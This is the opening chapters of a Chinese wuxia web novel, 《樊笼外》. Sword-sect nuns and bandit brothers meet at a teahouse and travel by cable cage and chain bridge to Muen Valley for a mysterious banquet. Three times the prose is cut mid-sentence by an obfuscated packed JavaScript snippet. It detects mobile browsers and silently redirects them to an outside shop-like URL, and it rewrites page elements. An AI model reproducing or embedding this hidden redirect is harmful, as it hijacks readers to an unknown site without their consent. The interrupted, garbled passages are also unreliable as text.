《樊笼外》 1. 茶庄初遇 湘楚,芦淞镇。 正午,路遥茶庄。 “草他奶奶的沐恩谷!” 店伙计刚把桌上的水渍擦净,就见一胖一瘦两名大汉从太阳底下闯进来。前面的个头偏矮,虎背熊腰,满面虬髯,一进门便骂骂咧咧,手中钢刀往桌上一砸,“咣”的一声,震得桌上杯儿盏儿跳了几跳。 店伙计吓了一跳,看着他不知所措。 大汉瞪道:“看什么看,看茶!”抽过条凳坐下,一只脚随意搭在凳沿。 店伙计忙去倒茶。 瘦高个跟进来,挨着大汉坐下,劝道:“二哥消消气,吃一堑长一智,往后不沾这没现银的事便是。” 大汉气往上涌:“老匹夫好不知趣!这名字就叫人听着不舒坦,沐恩沐恩,沐你娘的皇恩!” 瘦高个叹道:“看来咱哥俩是注定与那本绝世刀谱无缘喽。” 大汉啐道:“什么绝世刀谱!还不是那老杂碎害的!教我们打劫贾家,半路不知哪个死了爹妈的冒出来抢了先。你就说,咱哥俩明儿拿什么找那老杂碎换后半部刀谱?” 瘦高个正待说话,店伙计幽幽奉上茶来,瞅着二人神色,道:“二位也是去沐恩谷的?” 语带试探。 瘦高个瞧大汉一眼,道:“正是。” 店伙计面上一松,道:“巧了,今儿来庄里的都是。”说着朝身后一努嘴,“喏,在座的都是,看来这沐恩谷的排场不小啊。” 瘦高个环顾茶庄,这才注意到满座之人皆腰佩刀剑,一副劲装结束,作江湖人打扮。方才只顾着喝茶,竟没留意到。捏了颗花生米扔进嘴里,朝店伙计抬了抬颌,“我记得半年前这荒道上没茶庄啊,怎么……” “新开的?” 似笑非笑。 店伙计难为情道:“不瞒客官,这旮沓是去往沐恩谷的必经之路,那谷底路途遥远,外面的人经过,少不得进来歇歇脚,喝口茶,咱们……就是挣点小钱。” “哦。”瘦高个继续笑着嚼花生米,“有眼光,会做生意。” “客官说笑了,咱就是下苦的。” “啰嗦!” 大汉拍案而起,一把揪住店伙计衣领,喝道:“荒郊野岭,前不着村后不着店的,就这么间能喝水的地界儿,生意能不好吗!你就说,那沐恩谷什么来头,那谷主又是什么底细,老实交代,敢糊弄,老子一巴掌把你脑浆拍出来!”说着作势要打。 店伙计直吓得魂飞魄散,哆哆嗦嗦道:“我说,我说。” “那沐……沐恩谷开谷好几年了,谷主好像叫汤什么,是个老头儿,具体来头不清楚。年纪也不小了,约莫着有七八十岁了。” “那沐恩谷每半年开一次谷。听人说,那老谷主邀江湖人去那谷底,是请他们帮他完成一桩未了心愿。” 大汉道:“什么未了心愿?” 店伙计道:“这……只有去了才知道,每次还都不一样。” 大汉道:“那替他了了心愿,可有报酬?” 店伙计道:“这个肯定是有的,大家伙儿又不傻,谁还平白无故地替他做那些事。” 大汉又道:“什么报酬?” 店伙计道:“听说以前是兵刃。不过兵刃人人都有,并不稀缺。前几年谷里一直冷冷清清,没多少人去。直到去年秋天,才算是真正火了起来……” 瘦高个插话:“这是为何?” 店伙计道:“因为自打上次宴会起,那老谷主突然把交易的筹码换了,以前是兵刃,现在是一本孤世秘籍。想来绝世的好刀好剑数量有限,怎么也轮不到自己,好的刀谱、剑谱、拳术、轻功、暗器,内功心法什么的反而比较实用。是以消息一出,各路英雄豪杰立即削尖了脑袋往那谷底钻,都想替那老谷主卖一卖命。” “原来如此。” 瘦高个道:“是这个理儿。” 大汉听他磨磨唧唧说了一大堆,一点有用的都没有,怒气不减反增,喝道:“说点老子不知道的!”作势又要打。 店伙计见他还不满意,委屈道:“小的知道的就这些了,小的也不知道大爷要听什么啊……”声音里已经带了哭腔。 “你就说,那沐恩谷里的家丁都什么路数,可身怀绝技?还有,那些失传的孤世秘籍又是打哪儿来的!” “这些小的真不知啊……小的又没去过那劳什子谷底,怎会清楚这些……再说,听二位大爷方才说话,应是半年前去过,您二位都不知,我一个臭跑堂的又怎会清楚……” 坐在茶庄的人见这边起了冲突,目光纷纷投射过来。瘦高个儿怕惹出麻烦来,压低声音道:“二哥,想来他是真不知,那地方岂是随便什么人都能去的,咱不妨再向别处打听打听,就别为难他了。” 大汉揪着店伙计衣领,往后用力一推,骂道:“放这么多屁也没见一个响的,滚吧。”说着一屁股坐下,又是一壶凉茶入肚。 店伙计被他推了个趔趄,早吓得魂飞天外,当即灰溜溜地滚了。 瘦高个坐下来,环顾茶庄四周,道:“二哥,既然那老谷主立下规矩,用部分武林秘籍作定金,事成之后再兑现剩余秘籍,依我看,不妨就照你的意思,再去那谷底一探究竟,看看半年前和咱哥俩一起去的,是否真有人替那老谷主做成了事。若有,咱也正好瞧瞧,他是否真舍得将那些秘籍孤本赠予他人。咱这次去,权当看个热闹,如何?” 大汉没好气道:“本该如此!不寻寻那老杂碎的晦气,这满肚子的气儿就是不顺。” 瘦高个端起茶盅饮了一口,忽然想起一事:“对了,上次去沐恩谷,那老谷主给你的两页刀谱,你练了没练?” 大汉啐道:“什么狗屁刀法!那玩意儿就是最基本的运刀招式,老子五岁就会了。大老远的跑了千里去那深山老林,就被两页擦屁/眼儿的手纸打发了,我看那老杂碎送人秘籍是假,戏耍老子是真,操他奶奶的!” 瘦高个见他又动气了,忙道:“不打紧不打紧,咱这次一并找他讨个说法。虽说咱哥俩在帮里也起不上什么鸟用,总归不是吃白饭的,好容易逮着一次绝世刀谱的机会,两手空空,无功而返,总归不大妥当。” 说到这里,又有些不放心地瞧了他一眼,“不过二哥,咱可事先说好了,这次去沐恩谷,只能观战,不可生事。平日里大哥本就看咱哥俩不顺眼,再不规矩点,更叫他看扁了。等明儿到了沐恩谷,务必小心,一切看我眼色行事。” “行了行了,整日就是看你眼色行事看你眼色行事,也不知你是二哥我是二哥。” 瘦高个笑道:“小弟还不是为了二哥好。” “孟浪,张衡……” 靠窗坐的年轻人听着二人对话,眸光清清浅浅地落在手中把玩着的茶盅上,“霹雳帮帮主,武功平平,头脑简单。” “哦……”似是想起了什么,唇角勾起一抹笑来,“副的。” “好热啊,这儿有个茶庄,我们进去歇会儿。” 庄外传来说话声音。年轻人微微侧脸,看到三名灰袍尼姑走了进来。 为首的年纪稍长,三十五岁左右,生得眉尖眼长,风情万种,虽作尼姑打扮,却浓妆艳抹,一脸娇相。跟在她身后的两名姑子年纪小上一些,皆一脸素容。个头高的一张瓜子脸,两只黑眼珠在眼眶里滴溜溜直转,看着机灵慧黠。个头矮的长得眉清目秀,一脸纯真,面如瓷娃娃一般。 三人虽是尼姑,却都带发修行,作相同打扮:一身灰衣僧袍,背负长剑,头上簪了同样的云纹木簪。 “梵净山青衣派。”年轻人心道。 三人进得茶庄,向庄里大致扫了一眼,见东首一张茶桌空着,相携过去,坐了下来。店伙计很快奉上茶来。 那眉尖眼长的女子甫一落座,立即卸下背上的长剑,搁在桌上,怨道:“真热啊,老谷主怎么选了这么个鬼天气,真叫人受不了。”说着一只白皙妙手在脸旁频频扇风,语气甚是娇嗔。 小尼姑从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468407|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀里掏出一块丝帕递过去,道:“大师姐,给。” 女子见她掏丝帕时,怀里有什么动了一下,忙道:“柔儿,东西还在身上吧?” 小尼姑摸了摸胸前的衣物,道:“放心吧大师姐,我一路护得好好的。” 女子道:“那就好。贾家最值钱的玩意儿就是这个,换取后半部无极剑谱就靠它了。那老谷主看着慈眉善目,剩下的银两慢慢运过去,想来也是可以理解的。” 小尼姑轻轻点了点头。 “也是去沐恩谷的。” 年轻人心下暗忖:“贾家……怎的和那俩货说的一样,难道这两路人说的是同一个贾家?” 想到这里,情不自禁向坐在西首的孟浪和张衡瞅了一眼。见两桌人离得甚远,中间还隔了一道屏风,听不到彼此说话。只不过两路人正好都在他的视线范围内。 那眉尖眼长的女子饮了会子茶,突然冷笑起来,道:“那天杀的贾家为祸一方,我们青衣派早就看他们不顺眼了,平日里倚强凌弱,为祸乡里也就罢了,如今竟然隔了大老远得罪上了沐恩谷,算他们倒霉。这次借沐恩谷之手,除了这民间祸害,既了却了咱们青衣派的心头之恨,又能凭空获得一部孤世剑谱,也算一石二鸟了,可喜可贺。” 瓜子脸赞道:“大师姐好计谋!” 女子道:“那是自然。”神色间甚是得意。 小尼姑蹙了蹙眉,没有作声。半晌,抬起头来,幽幽的道:“师姐,等我们从老谷主那里领了后半部剑谱回去,要不要向师父禀明这本剑谱的来历呢?” 女子沉下脸来,道:“自然不用。我们得了本孤世剑谱,师父高兴还来不及,哪会问那么多。再说,就算她老人家问起,也只说是路上捡的,树上掉的,打个马虎眼儿就过去了,犯得着讲那么仔细。” “可是……” 小尼姑自言自语道:“师父一向身正行直,倘若她老人家知道我们是用这种手段……” “静柔!” 话未说完,已被女子冷冷打断:“说了不用就是不用,你还在胡乱嘀咕些什么。我看你是最近练剑练得太狠了,把脑子都练坏了,以后此事休要再提!” 静柔被她训斥,脸一下子红了,头埋得更低。 靠窗坐的年轻人听到训斥声音,打探的眼光投射过来。只见那被训斥的小尼姑约莫十四五岁,生的肤白胜雪,小小的面颊上几团红晕浸染,衬得她粉雕玉琢,甚是可爱,忍不住多看了两眼。 静慧注意到,胳膊肘碰碰静柔,低声道:“那边有个公子在看你,八成是瞧上你了。”抬眼望向窗边,道:“看见没,靠窗坐的。” 静柔顺着她眼光看去,果见窗边坐了位年轻公子,正慢条斯理地喝茶。 他一身月白长衫曳地,高扎马尾,剑眉入鬓,侧脸十分俊美。手边还搁了一把白色佩剑。纵是坐着,也能看出身量不小。 察觉到有人看过来,年轻人稍稍侧过了脸,一双桃花眼投射过来,眸中无限风流。 静柔顿觉一团火烧到了耳根子上,忙低下头,双手合十,默念起了青衣心经。 “不会吧……羞成这样,没见过好看男人?” 静慧吃了一惊。 静柔被她这么一说,一张小脸烧得更红了,像被烙铁熨过一般,心经念得愈发快了。边念边道:“还请师姐莫要再拿我取笑,仔细我回去告诉师父,治你一个不守门规之罪。” 静姝见她二人在自己眼皮子底下公然嬉笑,半点规矩也无,两眼一瞪,道:“还不好好吃茶,待会儿还要赶路,此地距离沐恩谷还得半日路程,都像你俩这样懒散,能在明天宴会前赶到吗?” 说完这句,却也情不自禁地向窗边瞟了一眼。见那公子腰背挺直如竹,面如冠玉,俊美无俦,眉宇间暗藏风流,生得确然好看。端的是潇洒从容,气度不凡。不知不觉,脸颊微微发起烫来,忍不住抬起手来,理了理耳后的碎发。 静慧瞧见,低头一乐。 2. 诱人入笼 茶庄外烈日炎炎,炙烤着大地,将路边的野草晒蔫了腰。茶庄内却幽凉如故,在房屋四角放置了不少冰块,纵使人多,身处其间,还是能感受到些微的清凉。 青衣派三尼姑吃了会子茶,又吃了些果子蜜饯,便架不住困意,沉沉睡去。待到一觉醒来,太阳已经西斜,茶庄里不剩几个人了。静姝忙道:“快收拾罢,再不走来不及了!” 静慧静柔被她唤醒,缓过神来。揉了揉眼睛,这才发现茶庄里已不剩一人,当即起身。待行李收拾停当,准备动身,静柔习惯性地向窗边瞟了一眼,这才发现那位年轻公子不见了,不由轻轻叹气,心里生出些许懊恼来。 静慧打趣道:“怎的,你伤心了?” 静柔啐道:“你才伤心了呢。”快步走至柜台前准备结账,却听店伙计说方才有位公子已经把她们三位的茶钱结过了。 “我说什么来着?” 静慧一脸坏笑。 “方才茶庄里那么多人,年轻公子不少,不一定就是他。” 静柔脸上一红。 “我几时说是他了?” 静慧冲她挤了挤眼。 静柔被她说中心思,一张小脸更红了。上下牙齿打颤半天,终是道:“师姐你就乱说吧,也不怕闪了舌头。” 静慧正待回嘴逗弄,这时静姝在外面催道:“还不快走,啰唣什么,若是误了时辰,拿你俩是问!”当下按住不提,与静柔快步出了茶庄。 三人加快脚步,晓行夜宿,终于赶在次日晌午前到达落霞山下。 落霞山崇山峻岭,绵延起伏,郁郁葱葱,横亘眼前。放眼望去,漫山遍野皆为绿意。三人深吸口气,径向山行。所经之地皆浩瀚林海,苍翠欲滴,有了荫翳蔽日,赶路也不那么辛苦了,连夏日里的空气都湿润了几分。 行至半山腰,忽见前方的路断了。三人停下来,一番探查,但见身周枝叶密密匝匝,层层叠叠,实是无路可走。两侧山体陡峭,古树参天,实是去无可去。 静姝心想:“难道走错路了?” 思前想后,又觉不是:“半年前沿着小路行上百里,明明有一个溶洞,穿过溶洞,淌过小河,便是竹林。穿过竹林便是那老谷主的住处,怎么变了?莫不是夏天树木繁茂,把路挡没了?” 此时距离沐恩谷开宴已不足半个时辰,心里着急,当下向静慧静柔道:”好好找,就在眼跟前了。” 二人取下背上长剑,在林子里又捅又刺,好一番查找。忙活了半天,一无所获。正不知如何是好,忽听静慧指着远处道:“你们看那儿!” 静姝静柔顺着她手指的方向望去。只见几十里开外,一座陡峭山峰巍然耸立,直插云霄。 陡峰望不见顶,在云雾中威然挺立。峰腰云雾缭绕,如世外仙山,隐有高人居住。峰壁看上去光洁滑溜,几不能攀岩。且峰脚遍地山体,连绵起伏,别说攀援,就连去到峰脚的路都无处可寻。 静姝道:“这可怎么办?路没了,进不去了!” 眼看时辰将近,正自焦急,忽然一个诡异的声音由远而近,飘至头顶:“鬼谷子有失远迎,三位久等了!” 声音渺渺茫茫,似真似幻。伴随着铁器粗重的摩擦声响,一个巨大的竹笼缓缓滑过头顶,停在三人面前。落地的一瞬,发出钝器撞击地面的声音。 三人这才看到,树叶掩映之中暗藏了一条粗壮的溜索。溜索上缚了一只大竹笼,大竹笼沿着溜索一路滑下,而溜索的另一端,则直通云雾中的险峰。 一个须发花白的老人从竹笼里跳了下来,在地上站定,向三人躬了躬身,道:“三位请入笼。”神色十分恭敬。 静柔看他弯腰驼背,脸上褶皱斑斑,长相奇丑。虽年逾古稀,身手却十分矫健,道:“鬼谷子……您便是传闻中天下第一机关大师鬼谷子,鬼先生?” 鬼谷子笑道:“天下第一?那都是几十年前的老黄历了,不提也罢,不提也罢。”说着哈哈大笑。 静柔道:“听闻鬼谷子先生十多年前突然在江湖销声匿迹,多少江湖人寻访不见,没想到竟是隐居在了沐恩谷。不知您与那老谷主之间有何渊源?” 鬼谷子手捋长须,笑道:“没有渊源,慕名而来,慕名而来,哈哈哈。” 静柔见他不愿意细说,也就没再多问。 静慧瞟了一眼他的竹笼,语气不悦道:“这位怪叔叔,我们要去沐恩谷,你怎么让我们进这破笼子啊?” 鬼谷子笑道:“老夫比你爷爷都大,这位小姑娘竟然叫我叔叔,好笑,真是好笑。” 说着手捋长须,正色道:“要想去到谷底,只有这一条路。坐着竹笼沿溜索上到峰腰,再从峰腰坐溜索下到谷底,才算翻越了这崇山峻岭。除此之外,别无他法。” 他说话时,面部肌肉抽搐扭曲,不仅嘴巴,鼻子、脸、眼睛、眉毛、额头都在各自向不同的方向抽动,十分诡异。一会儿左边嘴角向左咧,一会儿右边嘴角向右咧,一会儿上嘴唇向下压,一会儿下嘴唇向上翻,总之就那么一张嘴,向四个方向拉扯。静柔瞧着难受,别过了脸,不去看他。 静姝听他让大家坐笼子,怒从中来,骂道:“放屁!你当我们第一次来?” “半年前这里明明有条小路,沿着小路走上百步,便是一个溶洞,穿过溶洞趟过河,便是竹林。到了竹林也就到了你们谷主的竹屋,你当我不知?” 鬼谷子微微一笑,道:“师太好记性。”这次他上嘴唇向上飞,下嘴唇往下落,嘴巴形成了一个圆。 静姝斥道:“你骂谁是师太!” 鬼谷子微一定睛,叹道:“哦,原来不是师太,是位大姐,失敬失敬。”捋须笑道:“在下自然知道,贵派是梵净山青衣派了。” “半年前,在下在谷中闭关,未能亲自迎接,便安排师弟野郎中带几位进了谷。不过方才你们也看到了,去年冬天山体滑坡,无法再从原路入谷,谷主便另想他法,命我们修建了这条长达几十里的溜索。我候在此处,便是为了迎接各位。” 这次他的上下嘴唇夹成了一条缝,话就从那条缝里一个字一个字蹦出来:“要想进到谷底,只能走溜索,想不想上,你们看着办。”说完转身跳进了竹笼里,准备沿溜索上去。 静柔见他要走,急道:“师姐,要不我们……” “门儿都没有!” 静姝冷道:“我们响当当的梵净山青衣派,岂能坐进这丑八怪的猪笼里,传出去岂非奇耻大辱!” 鬼谷子双手一摊,道:“看你喽。”食指在溜索上轻轻一弹,溜索快速抖动起来。片刻,竹笼沿着溜索缓缓向上。 “爬了一天的鸟山,总算见到人影了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468408|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然,两条大汉从林子里钻出来,却是孟浪和张衡。二人弯着腰,一副气喘吁吁,一身大汗淋漓,显是赶了一天的山路。 鬼谷子见来了客人,忙将溜索拽住,竹笼在离地不远的地方停下了。 静慧虽不知他们名姓,却隐约记得昨日在茶庄里见过,问道:“你们不是比我们出发得早么,怎么这会子才到?” 张衡道:“路……路上出了点状况,耽搁了。”脸现尴尬之色。 “不走了不走了,日弄死老子了!” 孟浪一屁股坐在地上。 “坐笼子不?” 鬼谷子从竹笼里探出头来。 孟浪左看右看,静慧指了指天。孟浪这才注意到头顶有只笼子,笼子里坐了个老丑八怪。 “坐笼子干什么?”他问。 鬼谷子朝山上一瞟,“上山,下谷底。” “你这人说话怎是这个表情?” 静慧道:“对呀,他是可以带我们进谷的怪叔叔。” 鬼谷子手捋长须,但笑不语。 “坐这玩意儿得几钱银子?” 孟浪将竹笼瞅了一眼。 “几位是我们谷主的朋友,是远道而来的贵客,我们招待还来不及,又怎会收银子?” 鬼谷子朗声长笑。 “那就坐呗,不坐白不坐。” 孟浪说着从地上站起来。 鬼谷子拨弄了下竹笼上的轨道机关,竹笼缓缓降落下来,停在地上。孟浪走过去,径直跳了进去。张衡见他也不讲究,便也跟了进去。待到二人坐稳了,竹笼复又缓缓升起。 静柔见他们这次是真的要走了,揪揪静姝衣角,道:“师姐……” “这位道长若不抓紧上山,恐会误了谷主的开宴时辰!” 一个低沉的烟嗓忽然由远而近,快速传至身前。说到最后一字,那人已快如鬼魅,蹿至眼前。没有人知道他是如何在顷刻之间,自三里地外奔袭而至的,也无人看清他那一身绝顶轻功是如何施展开的,只是当众人看清来人的模样时,他已稳稳当当地端坐笼中,一手搭着笼壁,一手向地上的人招了两招,道:“柔儿妹妹,还不上来。” “混账东西!” 静姝咬牙。 静柔脖子立时红了一大片。静慧将她轻轻一撞,坏笑道:“我说什么来着?” 静柔没敢多嘴,怯生生地瞧向静姝。待触及到她目中的冷意,立即低下头来,不敢再看。 年轻人见她无动于衷,朝鬼谷子一打响指:“走了。”鬼谷子催动溜索,大声道:“最后一班了,上去老儿就能好好休息休息了!” “站住!谁说我不坐了!” 静姝突然叫道。 “你刚才不是说不坐么。” 孟浪笑嘻嘻地从笼子里探出头来,“怎么,这会儿又改主意了?” 静姝面露难色,“我……我是想看看这笼子是否安全。” 孟浪道:“那师太可看好了?可别误了我们的时辰啊。” 静姝没再理他,一手抓起静慧,一手拎起静柔,展开轻功,几个雀跃跃入笼中。落地时,脚力过重,震得竹笼晃了两晃。 鬼谷子勉强用内力镇住竹笼,笑道:“大姐这脚下的功夫还得多练几年哪。” 静姝翻了个白眼,没有理会。 3. 诱人入笼(2) 竹笼载着七人缓缓向上,渐入迷雾之中。愈行,离地面愈远。静柔巴着笼壁看向下面,但见绵延起伏的山体中,云雾一片缭绕,心里颇有些畏惧。 鬼谷子瞧出来,笑道:“小姑娘别害怕,这笼子可不是一般的竹笼,表面看似竹子所制,内里却由精钢打造,结实得很,别说咱们几个,就是再来两人也不在话下。不信,你摸摸竹笼里边,看是什么材质。” 静柔依言摸了摸笼壁,只觉里面冰冰凉凉,透着寒意。手指穿过竹子的缝隙伸进去,里面更是坚硬如铁,为精钢所制。心中一块大石落下,不由轻吁口气。转过脸来,正好对上年轻公子一张似笑非笑的脸。 “公……公子……” 静柔语声瑟缩。 年轻人一挑眉梢,眼尾沁出饶有兴致的笑意。静柔顿时如遭电击,低下头来,不敢与他对视。 “仔细你的皮。” 静姝咬了咬牙。 年轻人对她看也不看,只目不转睛地盯着静柔,目中尽是打探的笑意。 静慧道:“这位少侠,你不是走的比我们早吗,怎么到的比我们还晚?” 年轻人也不看她,只目不转睛地注视着对面的静柔,表露出不想回答的意味来,“这个问题方才不是问过了,怎么又问?” “啊……”静慧心觉诧异,“我几时问过?” 年轻人懒懒地将孟浪张衡一瞟。 静慧回头看了他二人一眼,道:“与他们有关?” “和他们一样。” 语气颇不耐烦。 “你怎知我们为何会晚到?” 孟浪微微不爽。 “要在这里说吗?” 年轻人斜眼睨他。 孟浪脸一下子红了,有点被他气到了。 年轻人翻了个白眼,目光复又落回静柔脸上。 “你就看吧。”静姝冷笑,“下了山定要挖了你的狗眼!” 年轻人噗嗤笑出声来,“不看她,难道看你么?凶神恶煞的老刁妇,东施都自愧不如。” “你……” 静姝勃然大怒。 静柔见他们又要吵起来,忙道:“这位公子,昨日听茶庄的伙计说,你替我们结了茶钱,一共五钱,我这便还给你吧。”说着从荷包取出五钱银子,递了过去。 年轻人抱着手臂,一动不动,没打算接。 “公……公子?” 静柔语声吞吐。 年轻人笑道:“急什么,先欠着,哪天本公子缺银子花了,再管你要。” “再说,早就听闻青衣派修行清苦,经常粗茶淡饭,这些银子就当本公子赏了。”说着伸了个懒腰,“身边有个行走的钱袋子多自在,还省得我自带银两了,沉——” “沉”字拖了好长的尾音,又懒又傲,一副贵公子做派。静柔见他不接,讪讪地缩回手来。年轻人随手拨弄了下被山风吹乱的头发,道:“说到底,还是柔儿妹妹温柔可人,看得人心生欢喜。若是换做旁人,我还不一定如此大方。” 静柔本有些难堪,听他这么说,心底突然生出许多暖意来,默不作声地将银子塞回荷包,抬起头时,脸上已多了许多喜色。 静姝眼里的不爽都要溢出来了。 鬼谷子嘿嘿笑了两声,没有说话。 竹笼沿着溜索缓缓上行,过了大概一炷香时间,渐渐临近峰腰。孤峰半山腰上开出一个洞来,围绕着山洞周围,云雾缭绕,有如仙境。 年轻人道:“鬼爷,这是什么峰?” “我们都叫它天子峰。” “天子?峰上有天子居住么?” 鬼谷子笑道:“不敢讲,不敢讲,哈哈哈。” 竹笼沿着溜索行进的方向缓缓驶入山洞。众人这才知道,洞中安置了一个巨型绞盘,竹笼沿着绞盘的轨道旋转一周,到达巨型滑轮处,两名男子上前,合力将滑轮的扳手向下一掰,只听“啪”的一声,竹笼已由上行溜索滑至下行溜索。 原来方才鬼谷子在溜索上的弹力,实为示意拉拽溜索的暗号。不过能沿着这么长的溜索将指令精准地传递上去,足见其指力惊人。 竹笼切换至下行溜索。山中云烟飘至脸上,湿润清凉,舒服极了。 孟浪坐了一路,此时吹上山间的凉风,起初那股头昏脑涨不复存在,问道:“老儿,还要坐多久啊?” 鬼谷子望着前方,道:“还有一炷香时间。” 孟浪一听还要再坐一炷香方能下到谷底,脾气上来,骂道:“真是把祖宗八辈的脸都丢尽了……” 张衡轻轻拍了拍他的肩,道:“且坐且珍惜……” 一柱香后,众人终于下了竹笼。 静慧坐得脚麻,从竹笼下来一时没悠住,身子向前一个猛冲。前方却是一道万丈深渊,鬼谷子眼疾手快,当即将她拽住。静慧跌坐崖边,吓得出了一身冷汗。鬼谷子脸色严肃道:“以后要小心了,这断崖深不可测。半年前天龙门的两名弟子失足跌了下去,到现在都没找见。天龙门的掌门隔三差五就来找我们谷主要人,倒像是我们把人扣住了似的。还望各位往后多加小心,我们谷主可不想再因别人的疏忽,多生事端了。” 孟浪嘟囔道:“不想多生事端,还把路修在这鬼地方。” 张衡在他腰上轻轻一撞,压低声音道:“二哥小心说话,我看这沐恩谷诡异邪门得很,那谷主也不是善茬。咱们只需静观其变就好,一切看我眼色行事。” 孟浪嘴角抽了一抽,想说什么,终是没说。 众人深吸口气,跟随鬼谷子向前行进。崖路极窄,背靠山壁,仅容一人通过,众人大气也不敢出,贴着崖壁一点一点挪动脚步,短短路程,竟走了半柱香之久。 半柱香后,众人来到一座悬索桥前。 那悬索桥目测有百米之长,由三道锁链从崖的这边延伸至对岸。锁链由铁锁固定在两壁,上面横向铺满了木板,却未钉死。 众人站在悬索桥下,见那铁桥被断崖里的阴风吹得剧烈摇晃,带动着上面的木板也磕磕撞撞,皆面露惧色,不敢动弹,只将希冀的眼光投向鬼谷子。鬼谷子却一脸云淡风轻,在桥下停留片刻,便道:“走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468409|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。”抬脚步上铁桥,在前面带路。 众人当即战战兢兢地跟了上去。只是一迈上桥,立觉脚下不稳。搭在锁链上的木板似乎随时都会松动,一脚踩空。众人心惊胆战,大气也不敢出,更不敢旁视,想抓住点什么,却见桥的两侧未设护栏,深渊里阴风阵阵,直吹得人头发凌乱,衣袂翻飞。没走出两步,便都不约而同地将手搭在了前面人的肩上,鹅行鸭步。 孟浪早都憋了一肚子火,搭着张衡没走几步,便又开骂:“来这儿准没好事儿,那老杂碎肚子里指不定装了多少坏水儿,故意造这烂桥害我们!” 鬼谷子在前面听到,大声道:“这位壮士可是自愿前来?” “我们谷主自开谷以来,可从未勉强过各位。既是自愿,便不必发这些牢骚。”他一边说话,一边一刻不停地在前面带路,一派云淡风轻,丝毫没有顾忌脚下,就是木板偶尔缺位,也能在瞬间展开轻功,腾挪移转,将错位的木板挪至脚下,就此保持身体平衡,脸上却神色如常。 年轻人看见,心道:“这鬼谷子一介家丁,脚下功夫便如此了得,殊不知那谷主又身怀何等绝技?” 众人走到桥的中央,锁链晃得更厉害了,深渊里的大风也愈发凶猛,像是野兽张开了血口,疯狂的呼啸着,狂吼着,欲把桥上的人吞噬殆尽。 鬼谷子走在前面,大声道:“前后都抓稳了,注意脚下,掉下去就是大罗神仙也救不了。” 静慧叫道:“怪叔叔,这崖底到底有多深啊,怎么这么大的风啊,吹得我腿冷。”一句话没说完,后半句便被大风吞没。 鬼谷子道:“崖底有多深,老头子也不知。只是这深渊里的阴气、邪气极重,如拔舌地狱,汇聚了世间数不清的厉鬼、恶鬼、怨鬼和冤鬼,能堕入其间的都是大奸大恶之徒。”身周阴风大作,他却声如洪钟,“因此,各位若是谁以往犯下孽障,假以时日,定会被这深渊吞噬。”说着哈哈大笑。 众人见他说话不分场合,语带恶毒,暗自心惊,在这酷暑炙热之时,竟如堕冰窟,感受到了丝丝的寒意。 年轻人道:“厉鬼和恶鬼会堕入地狱不假,可那怨鬼和冤鬼平生未做伤天害理之事,何以它们也会堕入此间,鬼先生说这话岂不是自相矛盾?” 鬼谷子笑声止歇,沉默片刻,大声道:“这我就不知了,老头子也是道听途说,不保真,不保真哈哈哈……” 孟浪听他口风,像是在拿大家开涮,不爽道:“都注意脚下吧,他就是在故意诱导我们堕入这深渊当中。” 鬼谷子在前面听到,怪笑道:“那倒不至于,这世上多的是大奸大恶之徒,老头子邪是邪了点,却还没坏到那等地步。”语气一顿,阴恻恻道:“实不相瞒,这深渊里,有些东西,是人,不是鬼。” 话至此处,突然有人“啊”的一声。却是静柔一脚踩空,年轻人眼疾手快,一把将她捞住,低声道:“注意脚下。”其余人纷纷后背发凉,都道:“注意脚下,注意脚下。” 大概一柱香后,身周阴风渐小,众人一点一点捱至崖边,终于下了这索命之桥。 4. 竹林设宴 行不多时,一脉清溪横在眼前。众人卷起裤腿,涉水而过。再行数里,眼前逐渐有绿意浮现。又走了一段路,绿意渐浓,四面已是竹海连天。只见大片竹林环绕,根根分明,拔地而起,直通云天。清风掠过,竹叶簌簌,空气中遍布竹叶的淡淡清香,直沁肺腑。 众人跟随鬼谷子穿进竹林,径直向前。半晌,见到竹林深处坐落了十几间竹篱茅舍,依山而建。茅舍之间以走廊相通,彼此相连,俨然人居之所。 茅舍前一片空地,空地上摆放了上百张椅子,椅子上坐满了人。各大门派齐聚,金刀寨、天龙门、四方宫、青城派……面孔陌生的熟悉的皆有。两把椅子之间搁置了一张四方桌,桌上放置了些瓜果甜点,坚果茶水,供人享用。 静姝不喜孟浪张衡二人,瞧见后排还剩了几个座位,带了静慧静柔过去。孟浪瞧见,啐道:“她不想和我们一块,也不问问我们,想不想和她们坐一块呢!” 他想着大家伙儿是一起来的,晚到了这么久,又在众目睽睽之下,理应团结一心,坐在一处,方能不引人注意。却见那妇人带着两个弟子自行坐了,当下也不客气,大步迈至第一排空着的椅子前,一屁股坐下。 